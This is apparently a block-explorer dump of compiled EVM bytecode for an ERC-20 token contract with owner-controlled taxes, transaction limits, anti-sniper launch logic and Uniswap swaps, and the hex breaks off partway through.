bbae2e803df81bff3ed846777fe44c0d263ba5c4a1538bba164736f6c634300080b00330000000000000000000000000000000000000000000000000000000021b81da00000000000000000000000000000000000000000000000000000000008eb8cce

Deployed Bytecode

0x6080604052600436106101d15760003560e01c80638c0b5e22116100f7578063b4ae29b911610095578063e4dbc45b11610064578063e4dbc45b14610649578063ed7b6bb514610672578063f2fde38b14610689578063fe575a87146106b2576101d8565b8063b4ae29b9146105a1578063c9567bf9146105cc578063d01dc84b146105e3578063dd62ed3e1461060c576101d8565b8063a17b2ed8116100d1578063a17b2ed8146104f9578063a9059cbb14610510578063aa4bde281461054d578063b142180314610578576101d8565b80638c0b5e221461047a57806395d89b41146104a55780639c5fd048146104d0576101d8565b8063313ce5671161016f57806370a082311161013e57806370a08231146103be57806371ebe1c3146103fb57806375f0a87414610424578063893d20e81461044f576101d8565b8063313ce5671461030457806340d3f6da1461032f578063587469c11461036c5780636969c1a414610395576101d8565b806318160ddd116101ab57806318160ddd1461026e5780631c939ee9146102995780631cbbe3e4146102b057806323b872dd146102c7576101d8565b806306fdde03146101dd578063095ea7b31461020857806309ef509f14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f26106ef565b6040516101ff91906137a1565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a919061385c565b610781565b60405161023c91906138b7565b60405180910390f35b34801561025157600080fd5b5061026c6004803603810190610267919061390b565b6108de565b005b34801561027a57600080fd5b50610283610a5c565b604051610290919061396d565b60405180910390f35b3480156102a557600080fd5b506102ae610a81565b005b3480156102bc57600080fd5b506102c5610b1a565b005b3480156102d357600080fd5b506102ee60048036038101906102e99190613988565b610bb4565b6040516102fb91906138b7565b60405180910390f35b34801561031057600080fd5b50610319610dbd565b60405161032691906139ea565b60405180910390f35b34801561033b57600080fd5b5061035660048036038101906103519190613a05565b610dc6565b604051610363919061396d565b60405180910390f35b34801561037857600080fd5b50610393600480360381019061038e9190613a6c565b610dde565b005b3480156103a157600080fd5b506103bc60048036038101906103b79190613aac565b610ef2565b005b3480156103ca57600080fd5b506103e560048036038101906103e09190613a05565b611463565b6040516103f2919061396d565b60405180910390f35b34801561040757600080fd5b50610422600480360381019061041d9190613b05565b6114ac565b005b34801561043057600080fd5b5061043961160b565b6040516104469190613b66565b60405180910390f35b34801561045b57600080fd5b50610464611631565b6040516104719190613b90565b60405180910390f35b34801561048657600080fd5b5061048f61165a565b60405161049c919061396d565b60405180910390f35b3480156104b157600080fd5b506104ba611660565b6040516104c791906137a1565b60405180910390f35b3480156104dc57600080fd5b506104f760048036038101906104f29190613b05565b6116f2565b005b34801561050557600080fd5b5061050e6117db565b005b34801561051c57600080fd5b506105376004803603810190610532919061385c565b6118c5565b60405161054491906138b7565b60405180910390f35b34801561055957600080fd5b50610562611921565b60405161056f919061396d565b60405180910390f35b34801561058457600080fd5b5061059f600480360381019061059a9190613a6c565b611927565b005b3480156105ad57600080fd5b506105b6611b8b565b6040516105c39190613bba565b60405180910390f35b3480156105d857600080fd5b506105e1611b9f565b005b3480156105ef57600080fd5b5061060a60048036038101906106059190613a05565b611c87565b005b34801561061857600080fd5b50610633600480360381019061062e9190613bd5565b611e09565b604051610640919061396d565b60405180910390f35b34801561065557600080fd5b50610670600480360381019061066b9190613c51565b611e90565b005b34801561067e57600080fd5b50610687611fb0565b005b34801561069557600080fd5b506106b060048036038101906106ab9190613ce4565b612092565b005b3480156106be57600080fd5b506106d960048036038101906106d49190613a05565b61219a565b6040516106e691906138b7565b60405180910390f35b6060600180546106fe90613d40565b80601f016020809104026020016040519081016040528092919081815260200182805461072a90613d40565b80156107775780601f1061074c57610100808354040283529160200191610777565b820191906000526020600020905b81548152906001019060200180831161075a57829003601f168201915b5050505050905090565b600043600f541180156107de5750601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156107ee576107ed33436121f5565b5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108cc919061396d565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461096c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096390613de4565b60405180910390fd5b600e60029054906101000a900460ff1660ff168360ff16111580156109a65750600e60029054906101000a900460ff1660ff168260ff1611155b80156109c75750600e60029054906101000a900460ff1660ff168160ff1611155b610a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fd90613e50565b60405180910390fd5b82600e60036101000a81548160ff021916908360ff16021790555081600e60046101000a81548160ff021916908360ff16021790555080600e60056101000a81548160ff021916908360ff160217905550505050565b60006009600a610a6c9190613fd2565b64e8d4a51000610a7c919061401d565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0690613de4565b60405180910390fd5b610b1847612317565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f90613de4565b60405180910390fd5b610bb260006123a1565b565b6000610bbe6123d1565b610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf4906140c3565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610da95781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d2891906140e3565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610db4848484612457565b90509392505050565b60006009905090565b60116020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6390613de4565b60405180910390fd5b81600e60066101000a81548161ffff021916908361ffff16021790555080600e60086101000a81548161ffff021916908361ffff160217905550600e60089054906101000a900461ffff16600e60069054906101000a900461ffff16610ed29190614117565b600e600a6101000a81548161ffff021916908361ffff1602179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7790613de4565b60405180910390fd5b600860009054906101000a900460ff1615610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc79061419b565b60405180910390fd5b60008111611013576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100a90614207565b60405180910390fd5b6001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000479050818110156111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90614273565b60405180910390fd5b60006111b130611463565b9050600081116111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ed906142df565b60405180910390fd5b6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611265573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112899190614314565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611312573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113369190614314565b6040518363ffffffff1660e01b8152600401611353929190614341565b6020604051808303816000875af1158015611372573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113969190614314565b90506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061145182612ba7565b61145d82856000612d91565b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190613de4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115b057806115af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a6906143b6565b60405180910390fd5b5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60095481565b60606002805461166f90613d40565b80601f016020809104026020016040519081016040528092919081815260200182805461169b90613d40565b80156116e85780601f106116bd576101008083540402835291602001916116e8565b820191906000526020600020905b8154815290600101906020018083116116cb57829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611780576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177790613de4565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186090613de4565b60405180910390fd5b600061187430611463565b9050600081116118b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b090614422565b60405180910390fd5b6118c281612e6f565b50565b60006118cf6123d1565b61190e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611905906140c3565b60405180910390fd5b611919338484612457565b905092915050565b600a5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ac90613de4565b60405180910390fd5b60006009600a6119c59190613fd2565b6103e88461ffff166009600a6119db9190613fd2565b64e8d4a510006119eb919061401d565b6119f5919061401d565b6119ff9190614471565b611a0991906144a2565b90506009600a611a199190613fd2565b64e8d4a51000611a29919061401d565b811115611a51576009600a611a3e9190613fd2565b64e8d4a51000611a4e919061401d565b90505b600954811015611a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8d90614544565b60405180910390fd5b8060098190555060006009600a611aad9190613fd2565b6103e88461ffff166009600a611ac39190613fd2565b64e8d4a51000611ad3919061401d565b611add919061401d565b611ae79190614471565b611af191906144a2565b90506009600a611b019190613fd2565b64e8d4a51000611b11919061401d565b811115611b39576009600a611b269190613fd2565b64e8d4a51000611b36919061401d565b90505b600a54811015611b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b75906145b0565b60405180910390fd5b80600a8190555050505050565b600e60009054906101000a900461ffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2490613de4565b60405180910390fd5b600860009054906101000a900460ff1615611c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c749061419b565b60405180910390fd5b611c8561308e565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0c90613de4565b60405180910390fd5b80601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1590613de4565b60405180910390fd5b8263ffffffff168463ffffffff166009600a611f3a9190613fd2565b64e8d4a51000611f4a919061401d565b611f54919061401d565b611f5e9190614471565b600b819055508063ffffffff168263ffffffff166009600a611f809190613fd2565b64e8d4a51000611f90919061401d565b611f9a919061401d565b611fa49190614471565b600c8190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461203e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203590613de4565b60405180910390fd5b6000600e60036101000a81548160ff021916908360ff160217905550600e60029054906101000a900460ff16600261207691906145d0565b600e60046101000a81548160ff021916908360ff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211790613de4565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161218f919061466a565b60405180910390a150565b600080601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146121eb57600190506121f0565b600090505b919050565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561228e57506000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156123135780601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e600081819054906101000a900461ffff16809291906122f790614685565b91906101000a81548161ffff021916908361ffff160217905550505b5050565b6000600e60089054906101000a900461ffff1661ffff16111561239e57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561239c573d6000803e3d6000fd5b505b50565b43600f5411806123b357506000600f54145b156123ce578060ff16436123c791906144a2565b600f819055505b50565b60008060009050600860009054906101000a900460ff16156123f65760019050612450565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141561244f57600190505b5b8091505090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf906146fc565b60405180910390fd5b43600f5411156125e157600360049054906101000a900463ffffffff1663ffffffff16600360009054906101000a900463ffffffff1663ffffffff168461250f919061471c565b73ffffffffffffffffffffffffffffffffffffffff16141561253a5761253560016123a1565b6125dc565b6000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156125915761258c83436121f5565b6125db565b6125da83601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f5565b5b5b6126fb565b6000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146126725761267183601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f5565b5b601260009054906101000a900460ff1660ff16600f5461269291906144a2565b4310801561269f5750483a115b156126fa576000483a6126b291906140e3565b905060135481106126f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ef90614799565b60405180910390fd5b505b5b600860009054906101000a900460ff16801561275757506000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b80156127a1575043601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b156127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890614805565b60405180910390fd5b60148054906101000a900460ff161580156128455750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561285357612852613236565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156128bb57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612913575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156129625761292283836133be565b612961576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295890614871565b60405180910390fd5b5b600061296f8585856134fe565b90506000818461297f91906140e3565b905083600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cc91906140e3565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115612aa75781600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6391906144a2565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af291906144a2565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612b92919061396d565b60405180910390a36001925050509392505050565b80600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612d8e577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051612d85919061396d565b60405180910390a35b50565b600081612dbc577f00000000000000000000000040a14a0f08579e14859e5e3da6d987cbd72f610790505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b8152600401612e23969594939291906148cc565b60606040518083038185885af1158015612e41573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612e669190614942565b50505050505050565b612e7881612ba7565b6000600267ffffffffffffffff811115612e9557612e94614995565b5b604051908082528060200260200182016040528015612ec35781602001602082028036833780820191505090505b5090503081600081518110612edb57612eda6149c4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612f82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fa69190614314565b81600181518110612fba57612fb96149c4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613058959493929190614ab1565b600060405180830381600087803b15801561307257600080fd5b505af1158015613086573d6000803e3d6000fd5b505050505050565b600860009054906101000a900460ff16156130de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d59061419b565b60405180910390fd5b600a436130eb91906144a2565b600f819055506009600a6130ff9190613fd2565b6103e86009600a6131109190613fd2565b64e8d4a51000613120919061401d565b600a61312c919061401d565b6131369190614471565b61314091906144a2565b6009819055506009600a6131549190613fd2565b6103e86009600a6131659190613fd2565b64e8d4a51000613175919061401d565b600a613181919061401d565b61318b9190614471565b61319591906144a2565b600a81905550600e60029054906101000a900460ff16600e60036101000a81548160ff021916908360ff160217905550600e60029054906101000a900460ff16600e60046101000a81548160ff021916908360ff160217905550600e60029054906101000a900460ff16600e60056101000a81548160ff021916908360ff1602179055506001600860006101000a81548160ff021916908315150217905550565b60016014806101000a81548160ff021916908315150217905550600061325b30611463565b9050600b54811015801561327b5750600860009054906101000a900460ff165b156133a157600c54811061328f57600c5490505b60006002600e600a9054906101000a900461ffff1661ffff16600e60069054906101000a900461ffff1661ffff16846132c8919061401d565b6132d29190614471565b6132dc9190614471565b9050600081836132ec91906140e3565b905060004790506132fc82612e6f565b6000814761330a91906140e3565b90506000600e60069054906101000a900461ffff1661ffff161115613383576000600e600a9054906101000a900461ffff1661ffff16600e60069054906101000a900461ffff1661ffff1683613360919061401d565b61336a9190614471565b905061337585612ba7565b61338185826000612d91565b505b6000479050600081111561339b5761339a81612317565b5b50505050505b5060006014806101000a81548160ff021916908315150217905550565b60008060019050600860009054906101000a900460ff16801561342b5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156134f45760095483111561344357600090506134f3565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156134e85750600a5483600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134e691906144a2565b115b156134f257600090505b5b5b8091505092915050565b600080600860009054906101000a900460ff1615806135665750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806135ba5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156135c857600090506136fd565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561364b576064600e60039054906101000a900460ff1660ff168461363a919061401d565b6136449190614471565b90506136fc565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136ce576064600e60049054906101000a900460ff1660ff16846136bd919061401d565b6136c79190614471565b90506136fb565b6064600e60059054906101000a900460ff1660ff16846136ee919061401d565b6136f89190614471565b90505b5b5b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613742578082015181840152602081019050613727565b83811115613751576000848401525b50505050565b6000601f19601f8301169050919050565b600061377382613708565b61377d8185613713565b935061378d818560208601613724565b61379681613757565b840191505092915050565b600060208201905081810360008301526137bb8184613768565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006137f3826137c8565b9050919050565b613803816137e8565b811461380e57600080fd5b50565b600081359050613820816137fa565b92915050565b6000819050919050565b61383981613826565b811461384457600080fd5b50565b60008135905061385681613830565b92915050565b60008060408385031215613873576138726137c3565b5b600061388185828601613811565b925050602061389285828601613847565b9150509250929050565b60008115159050919050565b6138b18161389c565b82525050565b60006020820190506138cc60008301846138a8565b92915050565b600060ff82169050919050565b6138e8816138d2565b81146138f357600080fd5b50565b600081359050613905816138df565b92915050565b600080600060608486031215613924576139236137c3565b5b6000613932868287016138f6565b9350506020613943868287016138f6565b9250506040613954868287016138f6565b9150509250925092565b61396781613826565b82525050565b6000602082019050613982600083018461395e565b92915050565b6000806000606084860312156139a1576139a06137c3565b5b60006139af86828701613811565b93505060206139c086828701613811565b92505060406139d186828701613847565b9150509250925092565b6139e4816138d2565b82525050565b60006020820190506139ff60008301846139db565b92915050565b600060208284031215613a1b57613a1a6137c3565b5b6000613a2984828501613811565b91505092915050565b600061ffff82169050919050565b613a4981613a32565b8114613a5457600080fd5b50565b600081359050613a6681613a40565b92915050565b60008060408385031215613a8357613a826137c3565b5b6000613a9185828601613a57565b9250506020613aa285828601613a57565b9150509250929050565b600060208284031215613ac257613ac16137c3565b5b6000613ad084828501613847565b91505092915050565b613ae28161389c565b8114613aed57600080fd5b50565b600081359050613aff81613ad9565b92915050565b60008060408385031215613b1c57613b1b6137c3565b5b6000613b2a85828601613811565b9250506020613b3b85828601613af0565b9150509250929050565b6000613b50826137c8565b9050919050565b613b6081613b45565b82525050565b6000602082019050613b7b6000830184613b57565b92915050565b613b8a816137e8565b82525050565b6000602082019050613ba56000830184613b81565b92915050565b613bb481613a32565b82525050565b6000602082019050613bcf6000830184613bab565b92915050565b60008060408385031215613bec57613beb6137c3565b5b6000613bfa85828601613811565b9250506020613c0b85828601613811565b9150509250929050565b600063ffffffff82169050919050565b613c2e81613c15565b8114613c3957600080fd5b50565b600081359050613c4b81613c25565b92915050565b60008060008060808587031215613c6b57613c6a6137c3565b5b6000613c7987828801613c3c565b9450506020613c8a87828801613c3c565b9350506040613c9b87828801613c3c565b9250506060613cac87828801613c3c565b91505092959194509250565b613cc181613b45565b8114613ccc57600080fd5b50565b600081359050613cde81613cb8565b92915050565b600060208284031215613cfa57613cf96137c3565b5b6000613d0884828501613ccf565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613d5857607f821691505b60208210811415613d6c57613d6b613d11565b5b50919050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000613dce602a83613713565b9150613dd982613d72565b604082019050919050565b60006020820190508181036000830152613dfd81613dc1565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b6000613e3a600c83613713565b9150613e4582613e04565b602082019050919050565b60006020820190508181036000830152613e6981613e2d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115613ef657808604811115613ed257613ed1613e70565b5b6001851615613ee15780820291505b8081029050613eef85613e9f565b9450613eb6565b94509492505050565b600082613f0f5760019050613fcb565b81613f1d5760009050613fcb565b8160018114613f335760028114613f3d57613f6c565b6001915050613fcb565b60ff841115613f4f57613f4e613e70565b5b8360020a915084821115613f6657613f65613e70565b5b50613fcb565b5060208310610133831016604e8410600b8410161715613fa15782820a905083811115613f9c57613f9b613e70565b5b613fcb565b613fae8484846001613eac565b92509050818404811115613fc557613fc4613e70565b5b81810290505b9392505050565b6000613fdd82613826565b9150613fe8836138d2565b92506140157f